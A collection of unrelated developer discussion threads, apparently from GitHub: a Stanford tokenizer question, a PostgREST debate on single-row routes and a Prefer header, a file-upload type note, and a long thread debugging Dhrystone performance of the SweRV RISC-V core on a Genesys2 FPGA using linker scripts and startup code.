['0800', '789', '321', '6']
['0800', '854', '440', '6']

That's intended, see normalizeSpace at https://nlp.stanford.edu/software/tokenizer.html. It will emit phone numbers (such as 0800 555 111) and numbers with fractions (such as 2 1/2) as a single token with non-breakable spaces in between. Not sure why at uefa.com is joined as well, but I get the same result as you.


Single row routes

Often I find myself performing requests to PostgREST to select a single row which look like this: /people?id=eq.5. There's a couple of issues with this approach, first is that I need to know the primary key(s) name (not a huge issue, but one nonetheless) and I need to extract the single object from the array, which is not always easy depending on the technology being used on the client side. Thus having a row route is useful.
The implementation of a router function is also very powerful in that it allows for future nested routes in a clean way. It also cleans up App.hs, maybe a little? (no not really 😊)
The exact feature details are as follows: to deal with compound keys, PostgREST expects a tuple-like syntax. /people?id=eq.5 can now be replaced by: /people/5 or /people/(5). The parentheses are optional only when the row primary key is not a compound one. For a row with a compound key, /table?k1=eq.2&k2=eq.6 becomes /table/(2,6).
One other change I made is that in addition to /rpc/procedure a stored procedure can be called using an ampersand, so /@procedure. If no one likes it, it can be taken out. To me it makes a lot more sense then the obfuscated /rpc sub route.
This PR contains my other PR #353 (that's why you can see all of @ruslantalpa's comments, didn't see that coming…pretty cool that's detected though) and can be rebased once that is merged.

Cool stuff! Let's wait to merge this until v3 is merged back to master. It's going to be a challenge merging the existing changes. Then you can rebase this PR on the new master and we'll be back in business.

Because this pull request contains all the changes before i can not see clearly what's the impact of these single object rules.
Let's try and do 1 pr per feature and 1 pr per refactoring (that does not contain new features).
One idea can be good, the other bad so it does not help to have  a "all or nothing" approach.
Specifically on the nested single object rules, i am in favor of them but definitely not in postgrest.
location /api/ {

        rewrite    /api/([a-z_]+)/([0-9]+) /$1?id=eq.$2 break; #support /endpoint/:id url style
        proxy_pass http://<IP_ADDRESS>:3000/; # Reverse proxy to your PostgREST

        #rewrite Content-Location header
        proxy_hide_header Content-Location;
        add_header  Content-Location  /api$upstream_http_content_location;

    }

There is just one more thing to do, remove the first and last character from the response body so that you have {...} instead of [{...}] but i am sure it is doable and in 1-2 config lines.

@ruslantalpa this is only one feature and it's the single routes, sorry if that's a little hard to see atm 😊
If it's super easy to do, why can't we just do it in PostgREST? Also, the power/promise of the new router system increases the extensibility of PostgREST and allows for further exploration of relational routes.

I have not seen the code so not 100% sure but super easy is 10 lines, i am guessing you changed a lot more for this when it can be solved with literaly 1 line in nginx.
Just because we can does not mean we should. And the extensability you talk about is probably nested routes and i dont think begriffs/diegob/me are in favot of that. I'll look at the actual code, it just might be that this could be a refactor of how things work, without introducing new features but just for the sake of this feature/future extensibility (in a direction that is not decided) i am voting no

So i read through the code. My opinion is this:
Too much code to support single item routes (code that is duplicated).
These types of routes are easily supported through nginx.
There might be something interesting in "data Endpoint", might make the big "case" in the App.hs code a bit more descriptive as opposed to ([table],"GET") branches.

So this was never meant to be the big App.hs refactor. I wanted to get the test cases in before the refactor so the new internal API could better accommodate for single routes and the code would be much slimmer. I don't think size matters too much here.
Also I wouldn't say these routes are easy to make with nginx.

It requires some upper level knowledge of regex.
Developer needs to know nginx well to maintain it.
Nginx configs are hard to work with in git and dev environments, being global.
Not everyone uses nginx. I prefer the DX of caddy so I don't use nginx at all.

As this is such an important/critical/canonical feature we can't delegate it to other technologies we don't enforce.

Users of postgrest are not non technical users, i guarantee each one of them will know how to setup nginx and use regexp.
All web servers support url rewrite in one form or another.

@begriffs would you like me to close this and reopen against master?

I'm thinking more about the proposed change of routes like /foo/1. I'm actually starting to be in favor of it
Right now the way a client filters rows is completely standardized. Whether it's a constraint on the primary key or doing a full text search, it all happens in a predictable way.

Proposal: add support for a new Prefer: plurality=singular request header. When header is present, return single JSON object or 404 rather than a singleton array or []. Use an nginx rewrite rule to support the items/1 url syntax.

Why do I say this? What is nice right now is postgrest filters rows in a completely uniform way. Whether it's a constraint on the primary key(s) or doing a full text search, it all happens predictably through our comparison operators.
The main thing the API currently lacks is a way for clients to express their expectation of getting at most one row in a result. Filtering on a primary key, by definition of “primary key,” will limit the response in this way. However we currently always return an array. We've avoided auto-detecting primary key filtering and changing the output because it could be surprising for requests which add one more filter param only to have the response format change. But this plurality preference should be under client control.
The convention of /items/1 has a lot going for it. It is super common and unsurprising. It also indicates client preference for at most one result. Seems convenient, except that it ties the plurality preference in with an unrelated assumption of having simple primary key. The proposal for /items/(1,42) seems to have trouble because it doesn’t specify which column the 1 filters and which the 42.
When you do in fact have simple keys it’s a great convention, and that’s why I suggest we implement the fundamental building block of the Prefer header and allow nginx to rewrite the URL and set the header for the simple singular routes. We get a lot of bang for our coding buck with this separation of concerns. We allow the opportunity for /items/1 but also support requesting a singular response when filtering on a compound primary key.
OK, that much makes sense but you might not be happy about getting nginx involved. After all it’s a manual process for the api admin to configure and maintain an nginx script. The rewrite rule should be general enough that it covers all routes. That will not always be true though: some people’s tables may have primary keys with different names per table which would require a slightly more complicated nginx config. Either way, I’d argue we give the nginx approach a try.  We’re already asking people to use nginx for stuff like versioning so doing so it's not as big of a change as it could be in this url case.
I appreciate the work you did on this pull request and hope this reasoning makes sense to you. Let me know.

Before implementing Prefer header, let's see if nginx can also mutate the response and how efficient it is. (remove first and last character, i think it can)

Another approach instead of implementing prefer, the code could switch to single item mode when there is a "LIMIT 1" communicated using the range header.
Will anyone request a single item and want it in a array?

@begriffs That proposal does make a lot of sense, and NGINX support shouldn't matter as I can just use a boolean to attach the header in my clients.
However, a main goal of this PR was to open up some design space (think the Router.hs file). Going this path with routes allows for some more interesting things, such as procedures on a per row basis: /items/1/@action (either supported by us in the future, or added by a third party app). Nesting /posts/1/author. HATEOAS and JSON-LD (even if we are likely to never use it). HTTP caching (etags, last modified, etc). PUT requests (makes more sense on a single route). Or even more accurate Content-Location information after a POST request.
With the above in mind, I'm ok with taking out the single routes in favor of a plurality=singluar approach (I do recommend we keep the Router.hs file and its associated Endpoint data type however), I can do a few small changes and that could definitely happen in this PR.
A couple other responses: I see your point about /items/(1,42) and the current solution to me was temporary until we could agree upon something better, and order is determined by column definition sequence and will be reported with an OPTIONS request. Also, the same problem arises with compound keys when doing clever proxy routing except with that you don't get the benefit of knowing the definition order. I disagree in thinking single routes in a reverse proxy is ever a good solution or will ever work consistently (especially as we continue to evolve the project), but again that shouldn't matter as using the Prefer header itself in my clients will suffice.
As for the LIMIT 1 approach, that's dangerous as pagination headers could be automatically generated by a function which occasionally expects a list of 1.

@ruslantalpa I prefer to have the option even in cases where I limit to 1. For I believe the array is easier to handle in the client when no item is in my results (empty array) than for single objects (have to use a maybe).

For nested routes, although I don't see as a big problem as long as we have a canonical non-nested route, I still think it goes a bit against the spirit of the project. I believe we should use nesting to namespace relation variables, not the contents of relations.
Just quoting from the docs:

Embracing the Relational Model
In 1970 E. F. Codd criticized the then-dominant hierarchical model of databases in his article A  Relational Model of Data for Large Shared Data Banks. Reading the article reveals a striking similarity between hierarchical databases and nested http routes. With PostgREST we attempt to use flexible filtering and embedding rather than nested routes.

I love this part, as you've all probably already noticed ;)

Closing this issue and reopened against master at #368


Don't limit upload file type to images

Sites will want to accept more than just image uploads. Need to allow any document type to be selected in the file dialog.

For now, when we upload or receive an attachment of unknown media type, we show the text "[Unknown]". Open to better ideas on how to do this...

Update: we now show [File of type '{mime type}'] which is slightly more informative.


SweRV on genesys2

I tried to run the swerv core with Configure in "SweRV_CoreMark_Benchmarking.pdf" on genesys2 fpga board, and it could successfully run the hello example through openocd;
But when I tried to run the dhrystone with "number of runs" = 1000000 through openocd, it took 334 seconds  and the DMIPS was very low.
So, could somebody tell me where the question is?
The change all I made was:

change the constraint file
update the IP for genesys2 FPGA

The dryhstone code was from https://github.com/sifive/benchmark-dhrystone
I copied the makefile from hello example for dryhstone
Deleting -nostdlib and change all hello.c to dhry_1.c  dhry_2.c
Thanks!

Make sure the compiler is invoked with the -O2 flags.  Default compilation produces non-optimized code.  To get decent performance you have to use -O2 as allowed/required by the benchmark.

I had added the -O2 flags, but the time spent had increased to 358 seconds.

what frequency is your fpga design running? Where do you place data/stack - make sure data & stack are located inside DCCM, you need to scale DMIPS numbers with frequency.
Check that your code is placed to a region marked as cacheable in MRAC register and your design have IC enabled ...

You probably need review/update your crt0 code and write 0x55555555 to MRAC CSR to enable caching:
li t0,0x55555555
csrw mrac, t0
prior calling main

Frequency is 40Mhz
My configuration is
./swerv.config -set reset_vec=0xf0090000 -set=iccm_enable=1
-unset=icache_enable -iccm_region=0xf -iccm_offset=0x90000
-iccm_size=64 -dccm_region=0xf -dccm_offset=0x80000
-dccm_size=64 -btb_size=512 -bht_size=2048

so I changed link.ld to be like
MEMORY
{
  iccm  (wxa!ri) : ORIGIN = 0x00090000, LENGTH = 64k
  dccm  (wxa!ri) : ORIGIN = 0x00080000, LENGTH = 64k
}

SECTIONS
{
  __stack_size = DEFINED(__stack_size) ? __stack_size : 8K;

  .text.init	:
  {
	*(.text.init)
	. = ALIGN(8);
  } > iccm

  .text :
  {
    *(.text.unlikely .text.unlikely.*)
    *(.text.startup .text.startup.*)
    *(.text .text.*)
    *(.gnu.linkonce.t.*)
	. = ALIGN(8);
  } > iccm

  .rodata	:
  {
    *(.rdata)
    *(.rodata .rodata.*)
    *(.gnu.linkonce.r.*)
	. = ALIGN(8);
  } > dccm

  .data	:
  {
	*(.data .data.*)
    *(.gnu.linkonce.d.*)
	. = ALIGN(8);
  } > dccm
the left section .sdata, .sbss, .bss, .stack are all > dccm

But the GDB cannot read correctly and displayed
0x00000000 in ?? ()

which is not like what it was
_start () at /home/vdsl/swerv_eh1_fpga/software/bsp/startup.S:26

How do you load data/code to DCCM/ICCM before run?
Debugger with openOCD may not know how to access the CCMs

How to load data/code to DCCM/ICCM is specified in link.ld or startup.S files?
My link.ld file has changed to what I previously said(other section were remain same),and startup.S is the original file that github provided.

If you put the iccm and dccm in region 0xf, then your memory map should be like this:
MEMORY
{
iccm  (wxa!ri) : ORIGIN = 0xf0090000, LENGTH = 64k
dccm  (wxa!ri) : ORIGIN = 0xf0080000, LENGTH = 64k
}

I have tried that version of link.ld but still not work.
The other issue says that it must use dma to load/store from iccm, is it correct?
At least in my case.

I have tried that version of link.ld but still not work.
The other issue says that it must use dma to load/store from iccm, is it correct?
At least in my case.

This is correct, CPU has no internal data path from ICCM to LSU (load/store unit)

I think solution to my problem might be adding the DMA (cause LSU cannot connect CCMs)
Below are new questions:

Why the program only can work when "RAM(wxa!ri) : ORIGIN = 0x00000000, LENGTH = 64k"?
My reset_vec=0xf0090000 is not pointing to 0x0.
What memory the data reside in? The manual says that it only have local memory ICCM/DCCM in this core but there has no data path between  ICCM/DCCM and LSU so it should't work (but it does)

What ( memories) do you have connected to the CPU buses ?  How do you download your test to the HW?
Most likely you have an external  memory slave near address 0.
If you have no DMA in you system, there are two ways to use DCCM:

 Copy initial values of data variables from external memory by the CPU to DCCM in startup code;

 Use debugger to preload DCCM   ( debugger needs to support abstract memory commands)

To use ICCM without DMA there are also two ways:

  Your system should have data path in the interconnect from LSU to DMA CPU port, then you can use CPU code to copy from external memory to ICCM;

 Use debugger to preload ICCM ( but it should use abstract memory commands to be able to access ICCM)

However, performance numbers for Dhrystone differ not significantly if the code is cacheable or resides in ICCM.
I think solution to my problem might be adding the DMA (cause LSU cannot connect CCMs)
Below are new questions:

Why the program only can work when "RAM(wxa!ri) : ORIGIN = 0x00000000, LENGTH = 64k"?
My reset_vec=0xf0090000 is not pointing to 0x0.
What memory the data reside in? The manual says that it only have local memory ICCM/DCCM in this core but there has no data path between ICCM/DCCM and LSU so it should't work (but it does)

I finally finished loading data to dccm by startup and the DMIPS became 1.9
But the uart became like this
Dhrystone Benc
Execution endsustruhDrsoe:C
C__lb      Balsue ntebnhak
                sol e  B
DISMz                  17712 bv    7

And if I didn't move rodata to dccm it became a little better
Dhrystone Benchmark, Version 2.1 (Language: C)
Execution endsts, 1000 runs through Dhrystone)
DMIPS/Mhz:                                   56792Gme as above

And if I removed all "\n", it can display all message but my Number_Of_Runs became 1000, and it should be 1000000(all number become upper 4 digits only)
 Dhrystone Benchmark, Version 2.1 (Language: C)  Program compiled without 'register' attribute  Execution starts, 1 Dhrystone Benchmark, Version 2.1 (Language: C)  Program compiled without 'register' attribute  Execution starts, 1000 runs through Dhrystone Execution ends  Final values of the variables used in the benchmark:  Int_Glob:            5         should be:   5 Bool_Glob:           1         should be:   1 Ch_1_Glob:           A         should be:   A Ch_2_Glob:           B         should be:   B Arr_1_Glob[8]:       7         should be:   7 Arr_2_Glob[8][7]:    1000         should be:   Number_Of_Runs + 10 Ptr_Glob->   Ptr_Comp:          -6859         should be:   (implementation-dependent)   Discr:             0         should be:   0   Enum_Comp:         2         should be:   2   Int_Comp:          1         should be:   1   Str_Comp:          DRSOEPORM OESRN         should be:   DHRYSTONE PROGRAM, SOME STRING Next_Ptr_Glob->   Ptr_Comp:          -6859         should be:   (implementation-dependent), same as above   Discr:             0         should be:   0   Enum_Comp:         1         should be:   1   Int_Comp:          1         should be:   1   Str_Comp:          DRSOEPORM OESRN         should be:   DHRYSTONE PROGRAM, SOME STRING Int_1_Loc:           5         should be:   5 Int_2_Loc:           1         should be:   1 Int_3_Loc:           7         should be:   7 Enum_Loc:            1         should be:   1 Str_1_Loc:           DRSOEPORM 'TSRN         should be:   DHRYSTONE PROGRAM, 1'ST STRING Str_2_Loc:           DRSOEPORM 'DSRN         should be:   DHRYSTONE PROGRAM, 2'ND STRING  It tooks 2 seconds. CLOCKS_PER_SEC 1000 Number_Of_Runs 1000 User_Time 2908 Microseconds for one run through Dhrystone: -0348  Dhrystones per Second:                      452  VAX MIPS:                                   2  DMIPS/Mhz:                                   56792

So, what leads to be like this? I don't have a clue to solve this.
Below are what I added to the file
link.ld:
//ram: dccm
  .lalign         :
  {
    . = ALIGN(4);
    PROVIDE( _data_lma = . );
  } >flash AT>flash

  .dalign         :
  {
    . = ALIGN(4);
    PROVIDE( _data = . );
  } >ram AT>flash

  .data          :
  {
    *(.rdata)
    *(.rodata .rodata.*)
    *(.gnu.linkonce.r.*)
    *(.data .data.*)
    *(.gnu.linkonce.d.*)
    . = ALIGN(8);
    PROVIDE( __global_pointer$ = . + 0x800 );
    *(.sdata .sdata.*)
    *(.gnu.linkonce.s.*)
    . = ALIGN(8);
    *(.srodata .srodata.*)
    . = ALIGN(8);
  } >ram AT>flash

  . = ALIGN(4);
  PROVIDE( _edata = . );
  PROVIDE( edata = . );

startup.S:
	//add below text before call main
	la a0, _data_lma
	la a1, _data
	la a2, _edata
	bgeu a1, a2, 2f
1:
	lw t0, (a0)
	sw t0, (a1)
	addi a0, a0, 4
	addi a1, a1, 4
	bltu a1, a2, 1b
2:

If  rodata and stack located in flash, the uart is fine but DMIPS is poor
  .rodata :
  {
    *(.rdata)
    *(.rodata .rodata.*)
    *(.gnu.linkonce.r.*)
  . = ALIGN(8);
  } >flash AT>flash

...

.stack ORIGIN(flash) + LENGTH(flash) - __stack_size :
  {
    PROVIDE( _heap_end = . );
    . = __stack_size;
    PROVIDE( _sp = . );
  } >flash AT>flash

If rodata in flash, stack in dccm, DMIPS is much better but uart is down
If both of them are in dccm, uart will display nothing

How can you place stack to flash? Flash is read only memory, I believe.
I can suggest to review cmark test setups in provided TB.

Flash is the memory origin at 0x0 which is the location of the block memory(specified in the address editor of axi bd).
I saw the axi have writing ports to block ram so it can write to the flash right?
I will check the cmark test setups later thanks.